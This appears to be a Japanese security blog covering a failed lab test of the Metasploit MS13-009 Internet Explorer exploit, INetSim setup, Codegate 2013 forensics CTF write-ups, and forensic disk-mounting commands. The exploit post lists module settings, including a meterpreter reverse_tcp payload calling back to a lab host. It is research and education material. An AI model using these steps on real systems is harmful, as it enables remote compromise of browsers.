2013年3月16日土曜日

MS13-009 Microsoft IE Use-After-Free の脆弱性を使った攻撃が失敗した

MS13-009 で報告されている Microsoft Internet Explorer の SLayoutRun Use-After-Free の脆弱性を使った攻撃モジュールが metasploit から出ていたので試してみる。
使うモジュールはms13_009_ie_slayoutrun_uafで作者のレポートはここ
ちなみにこのモジュールは「SP3 with Internet Explorer 8」しか対応していないとのこと。

metasploit を起動して必要なパラメータを入力する。

msf > use exploit/windows/browser/ms13_009_ie_slayoutrun_uaf 
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set SRVHOST 10.0.0.80
SRVHOST => 10.0.0.80
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set LHOST 10.0.0.80
LHOST => 10.0.0.80
msf  exploit(ms13_009_ie_slayoutrun_uaf) > 
msf  exploit(ms13_009_ie_slayoutrun_uaf) > set URIPATH ms13_009
URIPATH => ms13_009
msf  exploit(ms13_009_ie_slayoutrun_uaf) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.0.80:4444 
msf  exploit(ms13_009_ie_slayoutrun_uaf) > [*] Using URL: http://10.0.0.80:8080/ms13_009
[*] Server started.

このモジュールは XP sp3 の IE8 に対応しているが、試しに sp2 の IE6 でアクセスしてみる。
msf  exploit(ms13_009_ie_slayoutrun_uaf) > 
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[-] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Browser not supported, sending 404: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

404 を返して終了。次は sp3 の IE8 でアクセスしてみる。
msf  exploit(ms13_009_ie_slayoutrun_uaf) > 
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Using msvcrt ROP
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Sending HTML...
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Using msvcrt ROP
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Sending HTML...
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Requesting: /ms13_009
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Using msvcrt ROP
[*] 10.0.0.100   ms13_009_ie_slayoutrun_uaf - Sending HTML...

msf  exploit(ms13_009_ie_slayoutrun_uaf) > show sessions

Active sessions
===============

No active sessions.

msf  exploit(ms13_009_ie_slayoutrun_uaf) > 

数回実行したがすべて失敗した。



DEP が有効に働いて失敗した模様。
ということでうまくいかなかった報告。

inetsim を Ubuntu へインストールする

inetsim は仮想的なインターネット環境をエミュレートするプログラム。
たとえばDNSやPOP、FTPなどを起動して応答する。
クローズドな環境でマルウェアを実際に動かして解析するときに使用する。
インストール手順としては、inetsim を登録してから apt-get となる。

VirtualBox:~$ wget http://www.inetsim.org/debian/binary/inetsim-archive-keyring_2008.10.12_all.deb
--2013-02-27 11:01:10--  http://www.inetsim.org/debian/binary/inetsim-archive-keyring_2008.10.12_all.deb
www.inetsim.org をDNSに問いあわせています... 81.169.154.213
www.inetsim.org|81.169.154.213|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 3140 (3.1K) [application/x-debian-package]
`inetsim-archive-keyring_2008.10.12_all.deb' に保存中

100%[======================================>] 3,140       --.-K/s   時間 0s    

2013-02-27 11:01:11 (77.5 MB/s) - `inetsim-archive-keyring_2008.10.12_all.deb' へ保存完了 [3140/3140]

VirtualBox:~$ 
VirtualBox:~$ 
VirtualBox:~$ sudo dpkg -i inetsim-archive-keyring_2008.10.12_all.deb 
未選択パッケージ inetsim-archive-keyring を選択しています。
(データベースを読み込んでいます ... 現在 147694 個のファイルとディレクトリがインストールされています。)
(inetsim-archive-keyring_2008.10.12_all.deb から) inetsim-archive-keyring を展開しています...
inetsim-archive-keyring (2008.10.12) を設定しています ...
OK
VirtualBox:~$ 
VirtualBox:~$ 
VirtualBox:~$ sudo apt-get update                    
1,916 B を 10秒 で取得しました (184 B/s)                                       
パッケージリストを読み込んでいます... 完了
VirtualBox:~$
VirtualBox:~$
VirtualBox:~$ sudo apt-get install inetsim
パッケージリストを読み込んでいます... 完了
依存関係ツリーを作成しています                
状態情報を読み取っています... 完了
以下の特別パッケージがインストールされます:
  libio-multiplex-perl libio-socket-inet6-perl libipc-shareable-perl
  libiptables-ipv4-ipqueue-perl libnet-cidr-perl libnet-server-perl
  libsocket6-perl
以下のパッケージが新たにインストールされます:
  inetsim libio-multiplex-perl libio-socket-inet6-perl libipc-shareable-perl
  libiptables-ipv4-ipqueue-perl libnet-cidr-perl libnet-server-perl
  libsocket6-perl
アップグレード: 0 個、新規インストール: 8 個、削除: 0 個、保留: 0 個。
584 kB のアーカイブを取得する必要があります。
この操作後に追加で 2,830 kB のディスク容量が消費されます。
続行しますか [Y/n]? Y
取得:1 http://www.inetsim.org/debian/ binary/ inetsim 1.2.3-1 [299 kB]         
取得:2 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libio-multiplex-perl all 1.13-1 [22.2 kB]
取得:3 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libsocket6-perl i386 0.23-1build1 [25.1 kB]
取得:4 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libio-socket-inet6-perl all 2.65-1.1 [13.7 kB]
取得:5 http://jp.archive.ubuntu.com/ubuntu/ oneiric/universe libipc-shareable-perl all 0.60-8 [34.7 kB]
取得:6 http://jp.archive.ubuntu.com/ubuntu/ oneiric/universe libiptables-ipv4-ipqueue-perl i386 1.25-3build1 [25.7 kB]
取得:7 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libnet-cidr-perl all 0.14-1 [14.7 kB]
取得:8 http://jp.archive.ubuntu.com/ubuntu/ oneiric/main libnet-server-perl all 0.99-2ubuntu2 [149 kB]
584 kB を 4秒 で取得しました (142 kB/s)                                   
未選択パッケージ libio-multiplex-perl を選択しています。
(データベースを読み込んでいます ... 現在 147699 個のファイルとディレクトリがインストールされています。)
(.../libio-multiplex-perl_1.13-1_all.deb から) libio-multiplex-perl を展開しています...
未選択パッケージ libsocket6-perl を選択しています。
(.../libsocket6-perl_0.23-1build1_i386.deb から) libsocket6-perl を展開しています...
未選択パッケージ libio-socket-inet6-perl を選択しています。
(.../libio-socket-inet6-perl_2.65-1.1_all.deb から) libio-socket-inet6-perl を展開しています...
未選択パッケージ libipc-shareable-perl を選択しています。
(.../libipc-shareable-perl_0.60-8_all.deb から) libipc-shareable-perl を展開しています...
未選択パッケージ libiptables-ipv4-ipqueue-perl を選択しています。
(.../libiptables-ipv4-ipqueue-perl_1.25-3build1_i386.deb から) libiptables-ipv4-ipqueue-perl を展開しています...
未選択パッケージ libnet-cidr-perl を選択しています。
(.../libnet-cidr-perl_0.14-1_all.deb から) libnet-cidr-perl を展開しています...
未選択パッケージ libnet-server-perl を選択しています。
(.../libnet-server-perl_0.99-2ubuntu2_all.deb から) libnet-server-perl を展開しています...
未選択パッケージ inetsim を選択しています。
(.../inetsim_1.2.3-1_all.deb から) inetsim を展開しています...
man-db のトリガを処理しています ...
ureadahead のトリガを処理しています ...
ureadahead will be reprofiled on next reboot
libio-multiplex-perl (1.13-1) を設定しています ...
libsocket6-perl (0.23-1build1) を設定しています ...
libio-socket-inet6-perl (2.65-1.1) を設定しています ...
libipc-shareable-perl (0.60-8) を設定しています ...
libiptables-ipv4-ipqueue-perl (1.25-3build1) を設定しています ...
libnet-cidr-perl (0.14-1) を設定しています ...
libnet-server-perl (0.99-2ubuntu2) を設定しています ...
inetsim (1.2.3-1) を設定しています ...
 Creating default SSL key and certificate... done.
 * Edit /etc/default/inetsim to start inetsim
VirtualBox:~$
VirtualBox:~$
VirtualBox:~$
VirtualBox:~$ sudo inetsim
INetSim 1.2.3 (2012-10-01) by Matthias Eckert & Thomas Hungenberg
Main logfile '/var/log/inetsim/main.log' does not exist. Trying to create it...
Main logfile '/var/log/inetsim/main.log' successfully created.
Sub logfile '/var/log/inetsim/service.log' does not exist. Trying to create it...
Sub logfile '/var/log/inetsim/service.log' successfully created.
Debug logfile '/var/log/inetsim/debug.log' does not exist. Trying to create it...
Debug logfile '/var/log/inetsim/debug.log' successfully created.
Using log directory:      /var/log/inetsim/
Using data directory:     /var/lib/inetsim/
Using report directory:   /var/log/inetsim/report/
Using configuration file: /etc/inetsim/inetsim.conf
Parsing configuration file.
Configuration file parsed successfully.
=== INetSim main process started (PID 2983) ===
Session ID:     2983
Listening on:   127.0.0.1
Real Date/Time: Wed Feb 27 11:06:31 2013
Fake Date/Time: Wed Feb 27 11:06:31 2013 (Delta: 0 seconds)
 Forking services...
  * time_37_udp - started (PID 3001)
  * echo_7_udp - started (PID 3005)
  * echo_7_tcp - started (PID 3004)
  * syslog_514_udp - started (PID 2999)
  * ident_113_tcp - started (PID 2998)
  * daytime_13_udp - started (PID 3003)
  * discard_9_udp - started (PID 3007)
  * irc_6667_tcp - started (PID 2995)
  * finger_79_tcp - started (PID 2997)
  * dummy_1_udp - started (PID 3013)
  * time_37_tcp - started (PID 3000)
  * discard_9_tcp - started (PID 3006)
  * dns_53_tcp_udp - started (PID 2985)
  * daytime_13_tcp - started (PID 3002)
  * chargen_19_udp - started (PID 3011)
  * quotd_17_udp - started (PID 3009)
  * chargen_19_tcp - started (PID 3010)
  * ntp_123_udp - started (PID 2996)
  * quotd_17_tcp - started (PID 3008)
  * dummy_1_tcp - started (PID 3012)
  * tftp_69_udp - started (PID 2994)
  * smtp_25_tcp - started (PID 2988)
  * ftps_990_tcp - started (PID 2993)
  * ftp_21_tcp - started (PID 2992)
  * smtps_465_tcp - started (PID 2989)
  * pop3s_995_tcp - started (PID 2991)
  * http_80_tcp - started (PID 2986)
  * pop3_110_tcp - started (PID 2990)
  * https_443_tcp - started (PID 2987)
 done.
Simulation running.

  * dummy_1_udp - stopped (PID 3013)
  * dummy_1_tcp - stopped (PID 3012)
  * chargen_19_udp - stopped (PID 3011)
  * chargen_19_tcp - stopped (PID 3010)
  * quotd_17_udp - stopped (PID 3009)
  * quotd_17_tcp - stopped (PID 3008)
  * discard_9_udp - stopped (PID 3007)
  * discard_9_tcp - stopped (PID 3006)
  * echo_7_udp - stopped (PID 3005)
  * echo_7_tcp - stopped (PID 3004)
  * daytime_13_udp - stopped (PID 3003)
  * daytime_13_tcp - stopped (PID 3002)
  * time_37_udp - stopped (PID 3001)
  * time_37_tcp - stopped (PID 3000)
  * ident_113_tcp - stopped (PID 2998)
  * finger_79_tcp - stopped (PID 2997)
  * ntp_123_udp - stopped (PID 2996)
  * ftps_990_tcp - stopped (PID 2993)
  * ftp_21_tcp - stopped (PID 2992)
  * pop3s_995_tcp - stopped (PID 2991)
  * pop3_110_tcp - stopped (PID 2990)
  * smtps_465_tcp - stopped (PID 2989)
  * smtp_25_tcp - stopped (PID 2988)
  * https_443_tcp - stopped (PID 2987)
  * http_80_tcp - stopped (PID 2986)
  * dns_53_tcp_udp - stopped (PID 2985)
  * syslog_514_udp - stopped (PID 2999)
  * tftp_69_udp - stopped (PID 2994)
  * irc_6667_tcp - stopped (PID 2995)
Simulation stopped.
=== INetSim main process stopped (PID 2983) ===
.
VirtualBox:~$ 


起動まで確認できたところで inetsim.conf の設定。
 /etc/inetsim/inetsim.conf を編集する。
サーバで使用する IP アドレスなので、下記の部分をサーバについている IP アドレスを使用する。

service bind address
dns_default_ip

また、この状態では NAT 変換機能がないため iptables の NAT 機能ですべての通信を自分あてに変更する。
下記の2行を追加する。
インターフェースは eth0 の場合。

sudo iptables -t nat -A PREROUTING -i eth0 -j REDIRECT
sudo iptables -t filter -A INPUT -i eth0 -j ACCEPT 

通信の履歴などは /var/log/inetsim/service.log に保存される。


2013年3月14日木曜日

Codegate 2013 Forensics 300 Writeup

Forensics 300 の問題は次のとおり。

Find key?

鍵を見つけろとだけ書かれていて、あとはファイルが置かれている。
リンクを保存すると「ce5a4c1f062bffc9eb02c1f911d449d8.docx」というファイルができる。拡張子が docx なのでとりあえずは普通に word として開いてみる。


複数の画像ファイルが埋め込まれているだけで、文字のようなものは見当たらない。
docx ファイルは zip 形式になっているので、まずは unzip を行ってみる。

forensics300# unzip ce5a4c1f062bffc9eb02c1f911d449d8.docx 
Archive:  ce5a4c1f062bffc9eb02c1f911d449d8.docx
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
  inflating: word/document.xml       
  inflating: word/embeddings/oleObject1.bin  
  inflating: word/fontTable.xml      
  inflating: word/media/image1.jpeg  
  inflating: word/media/image2.emf   
  inflating: word/media/image3.jpeg  
  inflating: word/media/image4.emf   
  inflating: word/media/image5.jpeg  
  inflating: word/media/image6.emf   
  inflating: word/settings.xml       
  inflating: word/styles.xml         
  inflating: word/theme/theme1.xml   
  inflating: word/webSettings.xml    
  inflating: word/_rels/document.xml.rels  
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
forensics300# ls -lh
total 1000K
-rwxr-xr-x 1 root root 981K 2013-03-14 22:02 ce5a4c1f062bffc9eb02c1f911d449d8.docx
-rw-r--r-- 1 root root 1.5K 2013-02-22 14:30 [Content_Types].xml
drwxr-xr-x 2 root root 4.0K 2013-03-14 22:02 docProps
drwxr-xr-x 2 root root 4.0K 2013-03-14 22:02 _rels
drwxr-xr-x 6 root root 4.0K 2013-03-14 22:02 word
forensics300# 

もとのファイルは画像が中心だったので、画像が保存されている word の下にある media フォルダを重点的に確認する。

forensics300/word/media# ls -lh
total 1.9M
-rw-r--r-- 1 root root  29K 2013-02-22 14:30 image1.jpeg
-rw-r--r-- 1 root root 1.4M 2013-02-22 14:30 image2.emf
-rw-r--r-- 1 root root 250K 2013-02-22 14:30 image3.jpeg
-rw-r--r-- 1 root root 7.2K 2013-02-22 14:30 image4.emf
-rw-r--r-- 1 root root 165K 2013-02-22 14:30 image5.jpeg
-rw-r--r-- 1 root root  13K 2013-02-22 14:30 image6.emf

中身をみると jpeg と emf ができていた。emf は windows の画像フォーマットの一つ。
それぞれのファイルをまずは画像ビューアで確認していると、image6.emf だけが開けなかったため、バイナリエディタで中を見る。

forensics300/word/media# hexdump -C image6.emf | more
00000000  50 4b 03 04 14 00 06 00  08 00 00 00 21 00 09 24  |PK..........!..$|
00000010  87 82 81 01 00 00 8e 05  00 00 13 00 08 02 5b 43  |..............[C|
00000020  6f 6e 74 65 6e 74 5f 54  79 70 65 73 5d 2e 78 6d  |ontent_Types].xm|
00000030  6c 20 a2 04 02 28 a0 00  02 00 00 00 00 00 00 00  |l ...(..........|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

すると、マジックナンバーが PK で、そのあとに xml の文字が確認できた。
そこでこのファイルの拡張子を docx に変更して開いてみる。




2013が鍵かとも思ったが違った。ここで行き詰ったので、ヒントを確認すると「Extra_Field_Entry」とある。
ヒントをもとに検索してみる。

どうやら docx の Extra Field entry に対してステガノグラフィーを使えるツールがあるらしい。上記のツールはいくつかの dll を要求されてうまく動かなかったので、Joakim Schicht という人が作成していた unhider を使ってみた。これは文字列の埋め込みまたは取り出しの時に暗号化および復号ができる。そこで先ほどの「2013」を指定してみる。





すると、Unhider のフォルダにテキストファイルで取り出した文字列が保存される。

c0d2gate~2o13!!F0r2nsic!!!!!

これが答え。



2013年3月9日土曜日

Codegate 2013 Forensics 200 Writeup

問題文とヒントは下記のとおり。
For sweeping child sexual abuse, Police makes a big plan.
Police found out common point of child sexual abuses.
The common point is that they are motivated from sexual video clips and materials related with child.
Police started to investigate child pornography, and then arrests downloaders.
One day, Police swoops one downloader’s house, and arrests him. Then they analysis downloader’s computer and digital storage, but the child pornography was deleted all.
Although they analysis all traces to gather evidences, there was no trace to download child pornography.
Police confirmed that the downloader by checking traffic mornitoring.
Police has traffic information as evidence, they can’t prosecute the downloader for lake of evidence.
Now Police is asking you.
“Please, find a conclusive evidence to prosecute the downloader”

Key format : SHA1("md5(Evidence File)_Download Time")

Download Time : KST, YYYY/MM/DD_HH:MM:SS

[For 200 Hint] Dir_completed_torrents88 

児童ポルノに関する証拠を見つけるのが問題らしい。 証拠ファイルはすべて削除されいるとのことなので、ダウンローダーのキャッシュかログファイルから答えを見つけるようだ。
まず file コマンドで確認するとディスクイメージのようなのでパーティションを確認してマウントする。

forensics200# file 69e315135f2ebfa153d947e3fa29c0c2 
69e315135f2ebfa153d947e3fa29c0c2: x86 boot sector; 
partition 1: ID=0x7, starthead 2, startsector 128, 1042432 sectors, 
code offset 0xc0, OEM-ID "      м", Bytes/sector 190, 
sectors/cluster 124, reserved sectors 191, FATs 6, 
root entries 185, sectors 64514 (volumes <=32 MB) ,
 Media descriptor 0xf3, sectors/FAT 20644, heads 6, 
hidden sectors 309755, sectors 2147991229 (volumes > 32 MB) , 
physical drive 0x7e, dos < 4.0 BootSector (0x0)
forensics200# 
forensics200# mmls 69e315135f2ebfa153d947e3fa29c0c2 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000000127   0000000128   Unallocated
02:  00:00   0000000128   0001042559   0001042432   NTFS (0x07)
03:  -----   0001042560   0001048575   0000006016   Unallocated
forensics200# mount -o loop,offset=65536 -t ntfs 69e315135f2ebfa153d947e3fa29c0c2 evidence
forensics200# 

マウントしたファイルを眺めていると uTorrent を使っており、これがダウンローダーと推測できるがそこからすすまず。ヒントとなる torrents88 で検索をしてみると、下記のような情報がでてきた。

forensics200# strings 69e315135f2ebfa153d947e3fa29c0c2 | grep torrents88
23:default_torrent_handleri1e7:devicesd7:deviceslee19:dir_active_download22:C:\Users
\Administrator24:dir_active_download_flagi1e22:dir_completed_torrents88:C:\Users\CodeGate_Forensic\AppData\Roaming\Microsoft\Windows\Start
 Menu\Programs\Startup27:dir_completed_torrents_flagi1e17:dir_torrent_files88:C:\Users\CodeGate_Forensic\AppData\Roaming\Microsoft\Windows\Start
 Menu\Programs\Startup22:dir_torrent_files_flagi1e22:dl_image_modifiedsincel76:http://google.com/search?q=filetype%3Atorrent+  Tue, 14 Aug 2012 
15:19:23 GMT80:http://www.bittorrent.com/search?client=%v&search=

この情報をもとに C:\Users\CodeGate_Forensic\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup27 を autopsy を使って探す。すると、Startup27 というのはなく 052b585f1808716e1d12eb55aa646fc4984bc862 と言うファイルが見つかった。ファイルの中身には TorrentRG.com とあり、ダウンロードファイルの可能性が高い。



このファイルの属性情報を確認する。


必要な情報は
  • MD5: 449529c93ef6477533be01459c7ee2b4
  • Download Time:Mon Dec 24 13:45:43 2012

となる。これを問題文の書式に直して sha1 の値を取得する。

forensics200# sha1sum
449529c93ef6477533be01459c7ee2b4_2012/12/24_13:45:43
20789d8dae4efe2ece9194ef08b1c752c04b5e47

20789d8dae4efe2ece9194ef08b1c752c04b5e47 が答えになる。

Codegate 2013 Forensics 100 Writeup

問題文は与えられたファイルから従業員が不正に取得したと思われるファイルの特定、ファイルサイズ、オンラインストレージへのアップロード時間と変更時間を下記の形式で答えなさいというもの(記憶が若干曖昧)

Upload date&time(UTC+9:00)_Modified date&time(UTC+9:00)_Filename.extention_Filesize(logicalfilesize)

与えられたファイルは次のファイル。

8fb4cb1c2b32ed533f4fbdb6582501b5

まずこのファイルのバイナリを確認すると、7z\xbc\xaf\x27\x1cとなっているので7zファイルだとわかる。

forensics100# hexdump -C 8fb4cb1c2b32ed533f4fbdb6582501b5 | more
00000000  37 7a bc af 27 1c 00 03  43 f7 b4 28 09 8d 58 03  |7z..'...C..(..X.|
00000010  00 00 00 00 5e 00 00 00  00 00 00 00 49 74 ca 12  |....^.......It..|
00000020  00 19 b0 0d cd 06 0e 84  a1 eb fe fa 17 92 f1 cb  |................|
00000030  92 da c0 4b c7 a1 01 39  0e 67 78 13 b7 0c 93 a7  |...K...9.gx.....|
00000040  5a c9 ec 2b 85 e1 96 1f  7b e3 ce bf 81 e1 7e 0c  |Z..+....{.....~.|
00000050  34 d1 fa 45 a6 c1 a1 32  69 85 7b 39 8f bb 15 33  |4..E...2i.{9...3|
00000060  2d 39 84 3f 32 ca 4c 4d  15 1c a1 ea a2 76 fa 5c  |-9.?2.LM.....v.\|
00000070  09 0e 9f fa 00 33 c8 60  1c 97 c2 0a 97 15 28 2d  |.....3.`......(-|
00000080  cc 34 8d 4d 73 3a d2 44  c5 45 86 38 ee 80 e5 09  |.4.Ms:.D.E.8....|
00000090  21 8f 33 1e b9 1e 8f df  43 eb 09 c7 5d c6 bb bb  |!.3.....C...]...|

ファイルを 7zip で展開すると evidence.001 というファイルができる。
file コマンドで evidence.001 の内容を確認してみる。

forensics100# file evidence.001 
evidence.001: x86 boot sector; partition 1: 
ID=0x7, starthead 2, startsector 128, 198656 sectors, 
code offset 0xc0, OEM-ID "      м", 
Bytes/sector 190, 
sectors/cluster 124, reserved sectors 191, FATs 6, root entries 185, 
sectors 64514 (volumes <=32 MB) , Media descriptor 0xf3, 
sectors/FAT 20644, heads 6, hidden sectors 309755, 
sectors 2147991229 (volumes > 32 MB) , 
physical drive 0x7e, dos < 4.0 BootSector (0x0)


ディスクイメージのようなので mmls コマンドでパーティションレイアウト情報を確認する。

forensics100# mmls evidence.001 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000000127   0000000128   Unallocated
02:  00:00   0000000128   0000198783   0000198656   NTFS (0x07)
03:  -----   0000198784   0000204799   0000006016   Unallocated

パーティションの2番目が調査すべきファイルのようなので、パーティションマウントして中身を確認する。

forensics100# mount -o loop,offset=65536 -t ntfs evidence.001 evidence

マウントしたパーティションが何なのかがわからないので、まずはファイルの一覧を眺めてみる。

forensics100# ls -lhR evidence/ | more
evidence/:
total 32K
drwxrwxrwx 1 root root    0 2013-02-16 12:44 17FCA978-3FF4-4FAD-A6CB-C346EAA816A2
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 3BF5888C-B2FE-4E31-9FC2-480DEA405331
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 3E068DCB-B90B-43DC-B1A9-D083B5BBABE7
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 53C38695-70F0-42A0-9C59-34606A7802A8
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:48 5BB3AF5D-01CC-45D9-947D-977DB30DD439
drwxrwxrwx 1 root root    0 2013-02-16 12:44 6BCC19E4-31A9-4381-AABA-88069F3A763F
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 6F667589-637A-45E3-92AC-E421C00FF657
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:48 7C0D5811-A2CC-4E45-A0D1-2600B299C54D
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:48 7C10A720-1D64-4B77-AB4E-136AA429EBFF
drwxrwxrwx 1 root root 4.0K 2013-02-16 12:44 9A0ABEAF-D4E5-4BA6-8E8D-6FEB1D685B74
drwxrwxrwx 1 root root    0 2013-02-16 12:46 $RECYCLE.BIN

-- snip --

evidence/3E068DCB-B90B-43DC-B1A9-D083B5BBABE7/CNN-iPhone.app/SC_Info:
total 32K
-rwxrwxrwx 1 root root 1.1K 2012-12-27 13:27 CNN-iPhone.sinf
-rwxrwxrwx 1 root root  26K 2012-11-15 18:43 CNN-iPhone.supp

evidence/3E068DCB-B90B-43DC-B1A9-D083B5BBABE7/CNN-iPhone.app/SVProgressHUD.bundle:
total 9.0K
-rwxrwxrwx 1 root root 739 2012-11-06 12:58 error@2x.png
-rwxrwxrwx 1 root root 371 2012-11-06 12:58 error.png

-- snip --
evidence/5BB3AF5D-01CC-45D9-947D-977DB30DD439/Library/Caches:
total 61K
-rwxrwxrwx 1 root root 520 2012-12-27 18:32 analytics.log
-rwxrwxrwx 1 root root 20K 2012-12-27 17:58 asset_hashes.db
-rwxrwxrwx 1 root root 40K 2012-12-27 17:59 cache.db
drwxrwxrwx 1 root root   0 2012-12-27 18:50 CachedFiles
drwxrwxrwx 1 root root   0 2013-02-16 12:48 com.getdropbox.Dropbox
drwxrwxrwx 1 root root   0 2013-02-16 12:48 Dropbox
drwxrwxrwx 1 root root   0 2012-12-27 18:50 LogPool
drwxrwxrwx 1 root root   0 2013-02-16 12:48 Snapshots
drwxrwxrwx 1 root root   0 2012-12-27 18:50 Three20


ファイル名に iPhone などが出てくるため iPhone のファイルと仮定。また Dropbox というファイルもあったため、問題文にあるオンラインストレージは Dropbox とあたりをつけ、該当ファイルがある 5BB3AF5D-01CC-45D9-947D-977DB30DD439 を中心に作業を進める。

ファイルの一覧を眺めていると、下記のフォルダが見つかる。
./Documents:
total 64K
-rwxrwxrwx 1 root root 24K 2012-12-27 17:58 AlbumAssetsDB.sqlite
-rwxrwxrwx 1 root root 20K 2012-12-27 17:59 Dropbox.sqlite
drwxrwxrwx 1 root root   0 2012-12-27 18:48 Uploads
-rwxrwxrwx 1 root root 20K 2012-12-27 17:57 Uploads.sqlite

Dropbox.sqlite が Dropbox の何かのデータベースっぽいので SQLite Database Browser で中身を確認する。

Dropbox.sqlite

6行目で S-companysecurity.pdf とありこれが対象ファイルと判断。この情報でサイズや modifi 時間があるがアップロード時間がわからない。運営側から「base64」とのヒントがあり、手当たり次第 .sqlite や cache.db を確認していくと ./Library/Caches/cache.db を SQLite Database Browser で表示すると下記のような情報があるのがわかった。


この部分を切り出して base64 デコードしてから hexdump で確認する。

forensics100/base64# tr -d '\r\n' < base64.txt > base64 
forensics100/base64# base64 -d base64 > base64.dec
forensics100/base64# hexdump -C base64.dec 
00000000  62 70 6c 69 73 74 30 30  d4 01 02 03 04 05 08 b8  |bplist00........|
00000010  b9 54 24 74 6f 70 58 24  6f 62 6a 65 63 74 73 58  |.T$topX$objectsX|
00000020  24 76 65 72 73 69 6f 6e  59 24 61 72 63 68 69 76  |$versionY$archiv|
00000030  65 72 d1 06 07 54 72 6f  6f 74 80 01 af 10 21 09  |er...Troot....!.|

マジックナンバーに bplist00 とある。これは mac などで使われる xml ファイルらしい。そこで cache.db の中身をすべてデコードして、plist editer で中身を確認する。


S-Companysecurity.pdf という名前の前後に NS.time と 2.1MB という文字がある。NS.time については後ろのほうにもあるが、他のファイルを眺める限り前にある NS.time がファイルに関する該当時間のようであり、かつ NS.time の 378291354 は Dropbox.sqlite の MODIFIEDDATE とも一致する。
この時間を指定された時間形式に変換する。

forensics100/base64# date -d "1970-1-1 GMT +378291354 second"
Sun Dec 27 17:55:54 JST 1981
forensics100/base64# date -d "1970-1-1 GMT +357554798 second"
Fri May  1 17:46:38 JST 1981

Unix だと 1970-1-1 が基準時間だが mac などは 2001-1-1 が基準時間になる。そのため上記時間に31年を足した下記が答え。
2012-12-27 17:55:54_2012-05-01 17:46:38_S-Companysecurity.pdf_2.1MB

フォレンジック調査で使用するマウント関連のコマンド

ディスクイメージをそのままマウントする

イメージファイルを直接マウントするなら下記のように実行。

mount [image_file] [mount_point]

特定のパーティションをマウントする

ディスクイメージの中の特定パーティションのみマウントするにはまずオフセットを調べる。
オフセットを調べるには fdisk または mmls を使用する。
fdisk -lu [image_file]
mmls [image_file]
mmls は sleuthkit.org で開発されている sleuthkit に入っているコマンド。SIFT ではデフォルトで使用可能。
マウントしたいパーティションの start となっている数値にセクタサイズ(通常512)をかけた数が offset となり、この値を mount コマンドで指定する。

mount -o loop,offset=[start*512] [image_file] [mount_point]

フォレンジック調査なら読み取り専用のオプション -o ro loop、ファイルタイプとして -t ntfs とか nls=utf8 とか付け加える。

E01 イメージの取り扱い

EnCase image file format で保全されたディスクイメージを扱いたい場合にいは SIFT に入っている ewfmount を使う。
ewfmount により E01 イメージを dd イメージで操作できる。

ewfmount [e01_image_file] [mount_point]

E01 イメージが一つではなく複数に分割されている場合は末尾がE01のファイルを指定するだけ。
この状態で [mount_point] 配下に ewf1 という dd イメージファイルができ、それをマウントすることができる。 アンマウントは通常通り umount コマンドでできる。

イメージディスクの作成

イメージディスクの作成は下記コマンドで実行。

dd if=[input_disk] of=[output_file] bs=512 obs=1024k count=[number] conv=sync,noerror